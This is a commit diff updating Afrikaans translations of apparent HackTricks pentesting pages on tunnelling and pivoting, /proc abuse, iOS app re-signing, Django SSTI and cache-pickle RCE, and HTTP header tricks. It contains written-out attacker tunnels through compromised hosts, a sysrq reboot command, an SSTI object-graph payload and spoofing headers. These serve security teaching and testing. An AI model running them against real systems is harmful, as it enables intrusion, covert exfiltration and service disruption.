Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src

This commit is contained in:
Translator 2025-07-12 08:58:40 +00:00
parent 385cf083a0
commit 033e876c92
6 changed files with 84 additions and 84 deletions

View File

@ -9,7 +9,7 @@
## **Bash**
**Gasheer -> Spring -> InternA -> InternB**
**Gastheer -> Spring -> InternA -> InternB**
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
@ -33,7 +33,7 @@ ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### Plaaslike Port2Port
Maak nuwe poort in SSH-bediener --> Ander poort
Maak nuwe Poort in SSH-bediener --> Ander poort
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
@ -51,7 +51,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### Port2hostnet (proxychains)
Plaaslike Poort --> Gecompromitteerde gasheer (SSH) --> Enigiemand
Plaaslike Poort --> Gecompromitteerde gasheer (SSH) --> Enige plek
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
> [!NOTE]
> **Sekuriteit Terrapin Aanval (CVE-2023-48795)**
> Die 2023 Terrapin afgraderingsaanval kan 'n man-in-the-middle toelaat om met die vroeë SSH handdruk te sjoemel en data in **enige oorgestuurde kanaal** ( `-L`, `-R`, `-D` ) in te spuit. Verseker dat beide kliënt en bediener gepatch is (**OpenSSH ≥ 9.6/LibreSSH 6.7**) of sluit die kwesbare `chacha20-poly1305@openssh.com` en `*-etm@openssh.com` algoritmes in `sshd_config`/`ssh_config` eksplisiet af voordat jy op SSH tonnels staatmaak.
> Die 2023 Terrapin afgraderingsaanval kan 'n man-in-the-middle toelaat om met die vroeë SSH handdruk te sjoemel en data in **enige oorgestuurde kanaal** ( `-L`, `-R`, `-D` ) in te voeg. Verseker dat beide kliënt en bediener gepatch is (**OpenSSH ≥ 9.6/LibreSSH 6.7**) of sluit die kwesbare `chacha20-poly1305@openssh.com` en `*-etm@openssh.com` algoritmes in `sshd_config`/`ssh_config` eksplisiet af voordat jy op SSH tonnels staatmaak.
## SSHUTTLE
@ -136,7 +136,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
## Cobalt Strike
### SOCKS proxy
### SOCKS-proxy
Maak 'n poort op die spanbediener oop wat op al die interfaces luister wat gebruik kan word om die **verkeer deur die beacon te lei**.
```bash
@ -157,7 +157,7 @@ rportfwd stop [bind port]
Om op te let:
- Beacon se omgekeerde poort forwarding is ontwerp om **verkeer na die Spanbediener te tonnel, nie om tussen individuele masjiene te relay nie**.
- Verkeer word **getonnel binne Beacon se C2 verkeer**, insluitend P2P skakels.
- Verkeer is **getonneld binne Beacon se C2 verkeer**, insluitend P2P skakels.
- **Admin regte is nie nodig** om omgekeerde poort forwards op hoë poorte te skep nie.
### rPort2Port plaaslik
@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
Pivot deur **NTLM proxy**
Draai deur **NTLM proxy**
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
@ -379,7 +379,7 @@ In **Profile -> Proxification Rules** voeg die naam van die program wat geproxif
## NTLM proxy bypass
Die voorheen genoemde hulpmiddel: **Rpivot**\
**OpenVPN** kan dit ook omseil, deur hierdie opsies in die konfigurasie-lêer in te stel:
**OpenVPN** kan dit ook omseil deur hierdie opsies in die konfigurasie-lêer in te stel:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
@ -387,8 +387,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Dit verifieer teen 'n proxy en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, deurgegee word. Dan kan jy die hulpmiddel van jou keuse deur hierdie poort gebruik.\
Byvoorbeeld, dit stuur poort 443 deur.
Dit verifieer teen 'n proxy en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, voortgelei word. Dan kan jy die hulpmiddel van jou keuse deur hierdie poort gebruik.\
Byvoorbeeld, dit lei poort 443 voort.
```
Username Alice
Password P@ssw0rd
@ -415,7 +415,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
Die tonnel sal baie stadig wees. Jy kan 'n gecomprimeerde SSH-verbinding deur hierdie tonnel skep deur te gebruik:
Die tonnel sal baie stadig wees. U kan 'n gecomprimeerde SSH-verbinding deur hierdie tonnel skep deur gebruik te maak van:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
@ -448,18 +448,18 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
Proxychains onderskep `gethostbyname` libc oproep en tonnels tcp DNS versoek deur die socks proxy. Deur **verstek** is die **DNS** bediener wat proxychains gebruik **4.2.2.2** (hardgecodeer). Om dit te verander, wysig die lêer: _/usr/lib/proxychains3/proxyresolv_ en verander die IP. As jy in 'n **Windows omgewing** is, kan jy die IP van die **domeinbeheerder** stel.
## Tunnels in Go
## Tonnels in Go
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
## ICMP Tunneling
## ICMP Toneling
### Hans
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Root is nodig in beide stelsels om tun-adapters te skep en data tussen hulle te tonnel deur ICMP echo versoeke.
Root is nodig in beide stelsels om tun adapters te skep en data tussen hulle te tonnel deur ICMP echo versoeke.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -517,7 +517,7 @@ _Dit is ook moontlik om outentisering en TLS by te voeg, indien nodig._
```
#### Sniffing HTTP calls
_nuttig vir XSS, SSRF, SSTI ..._\
_Nuttig vir XSS, SSRF, SSTI ..._\
Direk vanaf stdout of in die HTTP-koppelvlak [http://127.0.0.1:4040](http://127.0.0.1:4000).
#### Tunneling internal HTTP service
@ -561,7 +561,7 @@ cloudflared tunnel --url http://localhost:8080
cloudflared tunnel --url socks5://localhost:1080 --socks5
# Now configure proxychains to use 127.0.0.1:1080
```
### Volgehoude tonnels met DNS
### Volhoubare tonnels met DNS
```bash
cloudflared tunnel create mytunnel
cloudflared tunnel route dns mytunnel internal.example.com
@ -578,9 +578,9 @@ Omdat alle verkeer die die gasheer **uitgaand oor 443** verlaat, is Cloudflared
## FRP (Fast Reverse Proxy)
[`frp`](https://github.com/fatedier/frp) is 'n aktief-onderhoude Go omgekeerde-proxy wat **TCP, UDP, HTTP/S, SOCKS en P2P NAT-gat-punching** ondersteun. Begin met **v0.53.0 (Mei 2024)** kan dit as 'n **SSH Tunnel Gateway** optree, sodat 'n teiken gasheer 'n omgekeerde tonnel kan opstel met slegs die standaard OpenSSH-kliënt geen ekstra binêre benodig nie.
[`frp`](https://github.com/fatedier/frp) is 'n aktief-onderhoubare Go omgekeerde-proxy wat **TCP, UDP, HTTP/S, SOCKS en P2P NAT-gat-punching** ondersteun. Begin met **v0.53.0 (Mei 2024)** kan dit as 'n **SSH Tunnel Gateway** optree, sodat 'n teiken gasheer 'n omgekeerde tonnel kan opstel met slegs die standaard OpenSSH-kliënt geen ekstra binêre benodig nie.
### Klassieke omgekeerde TCP tonnel
### Klassieke omgekeerde TCP-tonnel
```bash
# Attacker / server
./frps -c frps.toml # listens on 0.0.0.0:7000

View File

@ -40,7 +40,7 @@ return 0;
#### **`/proc/sys/kernel/modprobe`**
- Gedetailleerd in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Bevat die pad na die kernmodule laaier, wat aangeroep word om kernmodules te laai.
- Bevat die pad na die kernmodule-laaier, wat aangeroep word om kernmodules te laai.
- **Toegang Kontrole Voorbeeld**:
```bash
@ -49,13 +49,13 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Kontroleer toegang tot modprobe
#### **`/proc/sys/vm/panic_on_oom`**
- Verwys in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- 'n Globale vlag wat beheer of die kern paniek of die OOM killer aanroep wanneer 'n OOM toestand voorkom.
- Verwys na [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- 'n Globale vlag wat beheer of die kern paniek of die OOM-killer aanroep wanneer 'n OOM-toestand voorkom.
#### **`/proc/sys/fs`**
- Volgens [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), bevat opsies en inligting oor die lêerstelsel.
- Skryftoegang kan verskeie ontkenning-van-diens aanvalle teen die gasheer moontlik maak.
- Skryftoegang kan verskeie ontkenning-van-diens-aanvalle teen die gasheer moontlik maak.
#### **`/proc/sys/fs/binfmt_misc`**
@ -78,17 +78,17 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Kontroleer toegang tot modprobe
- **Hervatting van Gasheer Voorbeeld**:
```bash
echo b > /proc/sysrq-trigger # Herlaai die gasheer
echo b > /proc/sysrq-trigger # Hervat die gasheer
```
#### **`/proc/kmsg`**
- Stel kernringbuffer boodskappe bloot.
- Kan help met kernuitbuitings, adreslekke, en sensitiewe stelselinligting verskaf.
- Stel kernringbufferboodskappe bloot.
- Kan help in kernuitbuitings, adreslekke, en sensitiewe stelselinligting verskaf.
#### **`/proc/kallsyms`**
- Lys kern geëksporteerde simbole en hul adresse.
- Lys kerngeëksporteerde simbole en hul adresse.
- Essensieel vir kernuitbuiting ontwikkeling, veral om KASLR te oorkom.
- Adresinligting is beperk met `kptr_restrict` op `1` of `2` gestel.
- Besonderhede in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
@ -101,9 +101,9 @@ echo b > /proc/sysrq-trigger # Herlaai die gasheer
#### **`/proc/kcore`**
- Verteenwoordig die stelsel se fisiese geheue in ELF kernformaat.
- Verteenwoordig die stelsel se fisiese geheue in ELF-kernformaat.
- Lees kan die gasheer stelsel en ander houers se geheue-inhoud lek.
- Groot lêergrootte kan lei tot leesprobleme of sagteware crashes.
- Groot lêergrootte kan lei tot leesprobleme of sagtewarekrake.
- Gedetailleerde gebruik in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
#### **`/proc/kmem`**

View File

@ -21,11 +21,11 @@ Met 'n ou jailbreak toestel is dit moontlik om die IPA te installeer, **dit te d
5. Nadat jy op Voeg by geklik het, sal Configurator die IPA van Apple aflaai, en probeer om dit na jou toestel te druk. As jy my aanbeveling vroeër gevolg het en die IPA reeds geïnstalleer het, sal 'n prompt wat jou vra om die app weer te installeer verskyn.
6. Die IPA behoort afgelaai te wees binne `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` waar jy dit kan gryp.
Kyk na [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) vir meer gedetailleerde inligting oor hierdie proses.
Kyk [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) vir meer gedetailleerde inligting oor hierdie proses.
### Dekripteer die app
Om die IPA te dekripteer, gaan ons dit installeer. As jy egter 'n ou jailbreak iPhone het, is dit moontlik dat die weergawe nie deur die toepassing ondersteun sal word nie, aangesien toepassings gewoonlik net die nuutste weergawes ondersteun.
Om die IPA te dekripteer gaan ons dit installeer. As jy egter 'n ou jailbreak iPhone het, is dit moontlik dat die weergawe nie deur die toepassing ondersteun sal word nie, aangesien toepassings gewoonlik net die nuutste weergawes ondersteun.
So, om dit te installeer, ontsyfer net die IPA:
```bash
@ -33,7 +33,7 @@ unzip redacted.ipa -d unzipped
```
Kontroleer die `Info.plist` vir die minimum ondersteunde weergawe en as jou toestel ouer is as dit, verander die waarde sodat dit ondersteun word.
Zip die IPA terug:
Zip weer die IPA:
```bash
cd unzipped
zip -r ../no-min-version.ipa *
@ -42,16 +42,16 @@ Dan installeer die IPA byvoorbeeld met:
```bash
ideviceinstaller -i no-min-version.ipa -w
```
Let daarop dat jy dalk **AppSync Unified tweak** van Cydia nodig het om enige `invalid signature` foute te voorkom.
Let wel dat jy dalk die **AppSync Unified tweak** van Cydia nodig het om enige `invalid signature` foute te voorkom.
Sodra dit geïnstalleer is, kan jy **Iridium tweak** van Cydia gebruik om die gedekripteerde IPA te verkry.
Sodra dit geïnstalleer is, kan jy die **Iridium tweak** van Cydia gebruik om die gedekripteerde IPA te verkry.
### Patch entitlements & re-sign
### Patch toestemmings & herteken
Om die toepassing met die `get-task-allow` entitlement te herteken, is daar verskeie gereedskap beskikbaar soos `app-signer`, `codesign`, en `iResign`. `app-signer` het 'n baie gebruikersvriendelike koppelvlak wat dit baie maklik maak om 'n IPA-lêer te herteken deur die IPA aan te dui wat herteken moet word, om **dit `get-task-allow`** te gee en die sertifikaat en voorsieningsprofiel wat gebruik moet word.
Om die toepassing met die `get-task-allow` toestemming te herteken, is daar verskeie gereedskap beskikbaar soos `app-signer`, `codesign`, en `iResign`. `app-signer` het 'n baie gebruikersvriendelike koppelvlak wat dit baie maklik maak om 'n IPA-lêer te herteken deur die IPA aan te dui wat herteken moet word, om **dit `get-task-allow`** te gee en die sertifikaat en voorsieningsprofiel te gebruik.
Wat die sertifikaat en ondertekeningsprofiele betref, bied Apple **gratis ontwikkelaar ondertekeningsprofiele** vir alle rekeninge deur Xcode. Skep eenvoudig 'n app en konfigureer een. Konfigureer dan die **iPhone om die ontwikkelaar apps te vertrou** deur na `Settings``Privacy & Security` te navigeer, en klik op `Developer Mode`.
Wat die sertifikaat en ondertekeningsprofiele betref, bied Apple **gratis ontwikkelaar ondertekeningsprofiele** vir alle rekeninge deur Xcode aan. Skep eenvoudig 'n app en konfigureer een. Konfigureer dan die **iPhone om die ontwikkelaar apps te vertrou** deur na `Settings``Privacy & Security` te navigeer, en klik op `Developer Mode`.
Met die herteken IPA is dit tyd om dit op die toestel te installeer om dit te pentest:
```bash
@ -61,7 +61,7 @@ ideviceinstaller -i resigned.ipa -w
### Aktiveer Ontwikkelaarsmodus (iOS 16+)
Sedert iOS 16 het Apple **Ontwikkelaarsmodus** bekendgestel: enige binêre wat `get_task_allow` dra *of* met 'n ontwikkelingssertifikaat onderteken is, sal weier om te begin totdat Ontwikkelaarsmodus op die toestel geaktiveer is. Jy sal ook nie in staat wees om Frida/LLDB aan te sluit tensy hierdie vlag aan is nie.
Sedert iOS 16 het Apple **Ontwikkelaarsmodus** bekendgestel: enige binêre wat `get_task_allow` dra *of* met 'n ontwikkelingssertifikaat onderteken is, sal weier om te begin totdat Ontwikkelaarsmodus op die toestel geaktiveer is. Jy sal ook nie Frida/LLDB kan aanheg tensy hierdie vlag aan is nie.
1. Installeer of druk **enige** ontwikkelaars-ondertekende IPA na die foon.
2. Navigeer na **Instellings → Privaatheid & Sekuriteit → Ontwikkelaarsmodus** en skakel dit aan.
@ -90,7 +90,7 @@ objection -g "com.example.target" explore
# Or plain Frida
frida -U -f com.example.target -l my_script.js --no-pause
```
Onlangse Frida vrylatinge (>=16) hanteer outomaties pointer-authentisering en ander iOS 17 versagtings, so die meeste bestaande skripte werk reg uit die boks.
Onlangse Frida vrylatinge (>=16) hanteer outomaties pointer-outeindes en ander iOS 17 versagtings, so die meeste bestaande skripte werk reg uit die boks.
### Geoutomatiseerde dinamiese analise met MobSF (geen jailbreak)
@ -102,7 +102,7 @@ docker run -p 8000:8000 --privileged \
opensecurity/mobile-security-framework-mobsf:latest
# Browse to http://127.0.0.1:8000 and upload your resigned IPA
```
MobSF sal outomaties die binêre ontplooi, 'n Frida-bediener binne die app sandkas aktiveer en 'n interaktiewe verslag genereer.
MobSF sal outomaties die binêre ontplooi, 'n Frida-bediener binne die app-sandkas aktiveer en 'n interaktiewe verslag genereer.
### iOS 17 & Lockdown Mode voorbehoude
@ -112,7 +112,7 @@ MobSF sal outomaties die binêre ontplooi, 'n Frida-bediener binne die app sandk
## Verwysings
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
- Apple ontwikkelaar dokumentasie Ontsluiting van Ontwikkelaar Modus op 'n toestel: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
- Apple ontwikkelaar dokumentasie Ontsluiting van Ontwikkelaarsmodus op 'n toestel: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
- Mobile Security Framework (MobSF): <https://mobsf.github.io/Mobile-Security-Framework-MobSF/>
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,11 @@
# Django
{{#include /banners/hacktricks-training.md}}
{{#include /src/banners/hacktricks-training.md}}
## Cache Manipulation to RCE
Django se standaard cache stoor metode is [Python pickles](https://docs.python.org/3/library/pickle.html), wat kan lei tot RCE as [onbetroubare invoer onpickled word](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **As 'n aanvaller skrywe toegang tot die cache kan verkry, kan hulle hierdie kwesbaarheid tot RCE op die onderliggende bediener opgradeer**.
Django se standaard cache stoor metode is [Python pickles](https://docs.python.org/3/library/pickle.html), wat kan lei tot RCE as [onbetroubare invoer onpickled word](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **As 'n aanvaller skrywe toegang tot die cache kan verkry, kan hulle hierdie kwesbaarheid na RCE op die onderliggende bediener eskaleer**.
Django cache word in een van vier plekke gestoor: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [geheue](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [lêers](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), of 'n [databasis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache wat in 'n Redis bediener of databasis gestoor is, is die mees waarskynlike aanvalsvectors (Redis-inspuiting en SQL-inspuiting), maar 'n aanvaller mag ook in staat wees om lêer-gebaseerde cache te gebruik om 'n arbitrêre skrywe in RCE te omskep. Onderhouers het dit as 'n nie-kwessie gemerk. Dit is belangrik om te noem dat die cache lêer gids, SQL tabelnaam, en Redis bediener besonderhede sal verskil op grond van implementering.
Django cache word gestoor in een van vier plekke: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [geheue](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [lêers](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), of 'n [databasis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache wat in 'n Redis bediener of databasis gestoor is, is die mees waarskynlike aanvalsvectors (Redis-inspuiting en SQL-inspuiting), maar 'n aanvaller mag ook in staat wees om lêer-gebaseerde cache te gebruik om 'n arbitrêre skrywe in RCE te omskep. Onderhouers het dit as 'n nie-kwestie gemerk. Dit is belangrik om te noem dat die cache lêer gids, SQL tabelnaam, en Redis bediener besonderhede sal verskil op grond van implementering.
Hierdie HackerOne verslag bied 'n uitstekende, herhaalbare voorbeeld van die ontginning van Django cache wat in 'n SQLite databasis gestoor is: https://hackerone.com/reports/1415436
@ -15,7 +15,7 @@ Hierdie HackerOne verslag bied 'n uitstekende, herhaalbare voorbeeld van die ont
Die Django Template Taal (DTL) is **Turing-voltooi**. As gebruiker-gelewer data as 'n *template string* gerender word (byvoorbeeld deur `Template(user_input).render()` aan te roep of wanneer `|safe`/`format_html()` outo-escaping verwyder), kan 'n aanvaller volle SSTI → RCE bereik.
### Detection
1. Soek vir dinamiese oproepe na `Template()` / `Engine.from_string()` / `render_to_string()` wat *enige* ongesuiwerde versoekdata insluit.
1. Soek vir dinamiese oproepe na `Template()` / `Engine.from_string()` / `render_to_string()` wat *enige* ongesanitiseerde versoekdata insluit.
2. Stuur 'n tyd-gebaseerde of aritmetiese payload:
```django
{{7*7}}
@ -23,7 +23,7 @@ Die Django Template Taal (DTL) is **Turing-voltooi**. As gebruiker-gelewer data
As die gerenderde uitvoer `49` bevat, word die invoer deur die template engine gecompileer.
### Primitive to RCE
Django blokkeer direkte toegang tot `__import__`, maar die Python objek grafiek is bereikbaar:
Django blokkeer direkte toegang tot `__import__`, maar die Python objekgrafiek is bereikbaar:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
@ -76,4 +76,4 @@ Fingerprint altyd die presiese raamwerk weergawe via die `X-Frame-Options` foutb
* Django sekuriteitsvrystelling "Django 5.2.2, 5.1.10, 4.2.22 adresseer CVE-2025-48432" 4 Junie 2025.
* OP-Innovate: "Django vrystellings sekuriteitsopdaterings om SQL-inspuitingsfout CVE-2024-42005 aan te spreek" 11 Augustus 2024.
{{#include /banners/hacktricks-training.md}}
{{#include /src/banners/hacktricks-training.md}}

View File

@ -9,7 +9,7 @@
## Koppe om Ligging te Verander
Herskryf **IP bron**:
Herschryf **IP bron**:
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
@ -28,7 +28,7 @@ Herskryf **IP bron**:
- `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (Kontroleer hop-by-hop koppe)
Herskryf **ligging**:
Herschryf **ligging**:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
@ -52,24 +52,24 @@ Herskryf **ligging**:
../../pentesting-web/http-request-smuggling/
{{#endref}}
## Kas Koppe
## Cache Koppe
**Bediener Kas Koppe**:
**Bediener Cache Koppe**:
- **`X-Cache`** in die antwoord mag die waarde **`miss`** hê wanneer die versoek nie gekas is nie en die waarde **`hit`** wanneer dit gekas is
- **`X-Cache`** in die antwoord mag die waarde **`miss`** hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is
- Soortgelyke gedrag in die kop **`Cf-Cache-Status`**
- **`Cache-Control`** dui aan of 'n hulpbron gekas word en wanneer die volgende keer die hulpbron weer gekas sal word: `Cache-Control: public, max-age=1800`
- **`Vary`** word dikwels in die antwoord gebruik om **addisionele koppe** aan te dui wat as **deel van die kas sleutel** behandel word, selfs al is hulle normaalweg ongekey.
- **`Age`** definieer die tye in sekondes wat die objek in die proxy kas was.
- **`Server-Timing: cdn-cache; desc=HIT`** dui ook aan dat 'n hulpbron gekas was
- **`Cache-Control`** dui aan of 'n hulpbron in die cache gestoor word en wanneer die volgende keer die hulpbron weer in die cache gestoor sal word: `Cache-Control: public, max-age=1800`
- **`Vary`** word dikwels in die antwoord gebruik om **addisionele koppe** aan te dui wat as **deel van die cache sleutel** behandel word, selfs al is hulle normaalweg nie gesleutel nie.
- **`Age`** definieer die tye in sekondes wat die objek in die proxy cache was.
- **`Server-Timing: cdn-cache; desc=HIT`** dui ook aan dat 'n hulpbron in die cache was
{{#ref}}
../../pentesting-web/cache-deception/
{{#endref}}
**Plaaslike Kas koppe**:
**Plaaslike Cache koppe**:
- `Clear-Site-Data`: Kop om aan te dui watter kas verwyder moet word: `Clear-Site-Data: "cache", "cookies"`
- `Clear-Site-Data`: Kop om aan te dui watter cache verwyder moet word: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: Bevat datum/tyd wanneer die antwoord moet verval: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Pragma: no-cache` dieselfde as `Cache-Control: no-cache`
- `Warning`: Die **`Warning`** algemene HTTP kop bevat inligting oor moontlike probleme met die status van die boodskap. Meer as een `Warning` kop mag in 'n antwoord verskyn. `Warning: 110 anderson/1.3.37 "Response is stale"`
@ -77,13 +77,13 @@ Herskryf **ligging**:
## Voorwaardes
- Versoeke wat hierdie koppe gebruik: **`If-Modified-Since`** en **`If-Unmodified-Since`** sal met data geantwoord word slegs as die antwoord kop **`Last-Modified`** 'n ander tyd bevat.
- Voorwaardelike versoeke wat **`If-Match`** en **`If-None-Match`** gebruik, gebruik 'n Etag waarde sodat die webbediener die inhoud van die antwoord sal stuur as die data (Etag) verander het. Die `Etag` word geneem uit die HTTP antwoord.
- Voorwaardelike versoeke wat **`If-Match`** en **`If-None-Match`** gebruik, gebruik 'n Etag waarde sodat die webbediener die inhoud van die antwoord sal stuur as die data (Etag) verander het. Die `Etag` word uit die HTTP antwoord geneem.
- Die **Etag** waarde word gewoonlik **bereken** op grond van die **inhoud** van die antwoord. Byvoorbeeld, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` dui aan dat die `Etag` die **Sha1** van **37 bytes** is.
## Bereik versoeke
- **`Accept-Ranges`**: Dui aan of die bediener bereik versoeke ondersteun, en indien wel in watter eenheid die bereik uitgedruk kan word. `Accept-Ranges: <range-unit>`
- **`Range`**: Dui die deel van 'n dokument aan wat die bediener moet terugstuur. Byvoorbeeld, `Range:80-100` sal die bytes 80 tot 100 van die oorspronklike antwoord met 'n statuskode van 206 Partial Content terugstuur. Onthou ook om die `Accept-Encoding` kop uit die versoek te verwyder.
- **`Accept-Ranges`**: Dui aan of die bediener bereik versoeke ondersteun, en indien wel, in watter eenheid die bereik uitgedruk kan word. `Accept-Ranges: <range-unit>`
- **`Range`**: Dui die deel van 'n dokument aan wat die bediener moet teruggee. Byvoorbeeld, `Range:80-100` sal die bytes 80 tot 100 van die oorspronklike antwoord met 'n statuskode van 206 Partial Content teruggee. Onthou ook om die `Accept-Encoding` kop uit die versoek te verwyder.
- Dit kan nuttig wees om 'n antwoord met arbitrêre weerkaatste javascript kode te kry wat andersins ontsnap kon word. Maar om dit te misbruik, moet jy hierdie koppe in die versoek inspuit.
- **`If-Range`**: Skep 'n voorwaardelike bereik versoek wat slegs vervul word as die gegewe etag of datum met die afstandlike hulpbron ooreenstem. Gebruik om te voorkom dat twee bereik van onverenigbare weergawe van die hulpbron afgelaai word.
- **`Content-Range`**: Dui aan waar in 'n volle liggaam boodskap 'n gedeeltelike boodskap behoort.
@ -93,10 +93,10 @@ Herskryf **ligging**:
- **`Content-Length`:** Die grootte van die hulpbron, in desimale getal van bytes.
- **`Content-Type`**: Dui die media tipe van die hulpbron aan
- **`Content-Encoding`**: Gebruik om die kompressie algoritme aan te dui.
- **`Content-Language`**: Beskryf die menslike taal/tale wat vir die gehoor bedoel is, sodat dit 'n gebruiker toelaat om te onderskei volgens die gebruiker se eie verkose taal.
- **`Content-Language`**: Beskryf die menslike taal/tale wat bedoel is vir die gehoor, sodat dit 'n gebruiker toelaat om te onderskei volgens die gebruiker se eie verkose taal.
- **`Content-Location`**: Dui 'n alternatiewe ligging aan vir die teruggegee data.
Van 'n pentest oogpunt is hierdie inligting gewoonlik "nutteloos", maar as die hulpbron **beskerm** word deur 'n 401 of 403 en jy 'n **manier** kan vind om hierdie **inligting** te **kry**, kan dit **interessant** wees.\
Vanuit 'n pentest oogpunt is hierdie inligting gewoonlik "nutteloos", maar as die hulpbron **beskerm** word deur 'n 401 of 403 en jy 'n **manier** kan vind om hierdie **inligting** te **kry**, kan dit **interessant** wees.\
Byvoorbeeld, 'n kombinasie van **`Range`** en **`Etag`** in 'n HEAD versoek kan die inhoud van die bladsy via HEAD versoeke lek:
- 'n versoek met die kop `Range: bytes=20-20` en met 'n antwoord wat `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` bevat, lek dat die SHA1 van die byte 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` is
@ -109,11 +109,11 @@ Byvoorbeeld, 'n kombinasie van **`Range`** en **`Etag`** in 'n HEAD versoek kan
## Beheer
- **`Allow`**: Hierdie kop word gebruik om die HTTP metodes te kommunikeer wat 'n hulpbron kan hanteer. Byvoorbeeld, dit kan gespesifiseer word as `Allow: GET, POST, HEAD`, wat aandui dat die hulpbron hierdie metodes ondersteun.
- **`Expect`**: Gebruik deur die kliënt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` kop, wat aandui dat die kliënt van plan is om 'n groot data las te stuur. Die kliënt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag.
- **`Expect`**: Gebruik deur die kliënt om verwagtinge oor te dra wat die bediener moet nakom vir die versoek om suksesvol verwerk te word. 'n Algemene gebruiksgeval behels die `Expect: 100-continue` kop, wat aandui dat die kliënt van plan is om 'n groot data payload te stuur. Die kliënt soek 'n `100 (Continue)` antwoord voordat hy met die oordrag voortgaan. Hierdie meganisme help om netwerkgebruik te optimaliseer deur op bedienerbevestiging te wag.
## Aflaaie
- Die **`Content-Disposition`** kop in HTTP antwoorde dui aan of 'n lêer **inline** (binne die webblad) vertoon moet word of as 'n **aanhangsel** (afgelaai). Byvoorbeeld:
